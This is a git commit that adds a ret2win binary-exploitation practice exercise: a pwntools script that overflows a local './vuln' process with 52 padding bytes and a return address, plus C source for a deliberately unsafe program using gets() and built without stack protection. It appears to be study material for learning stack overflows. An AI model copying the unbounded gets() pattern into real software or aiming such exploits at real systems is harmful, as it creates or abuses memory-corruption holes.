changed repo structure

This commit is contained in:
2025-06-06 02:50:04 +02:00
parent e887de976a
commit 6e6ee357b8
8848 changed files with 2089898 additions and 9 deletions

View File

@@ -0,0 +1,14 @@
from pwn import *
p = process('./vuln')
payload = b'A' * 52
payload += p32(0x0804920f)
log.info(p.clean())
pause()
p.sendline(payload)
log.info(p.clean())

BIN
2024/ir0nstone/ret2win/vuln Executable file

Binary file not shown.

View File

@@ -0,0 +1,18 @@
// gcc source.c -o vuln -no-pie -fno-stack-protector -z execstack -m32
#include <stdio.h>
void unsafe() {
char buffer[40];
puts("Overflow me");
gets(buffer);
}
void main() {
unsafe();
}
void flag() {
puts("Exploited!!!!!");
}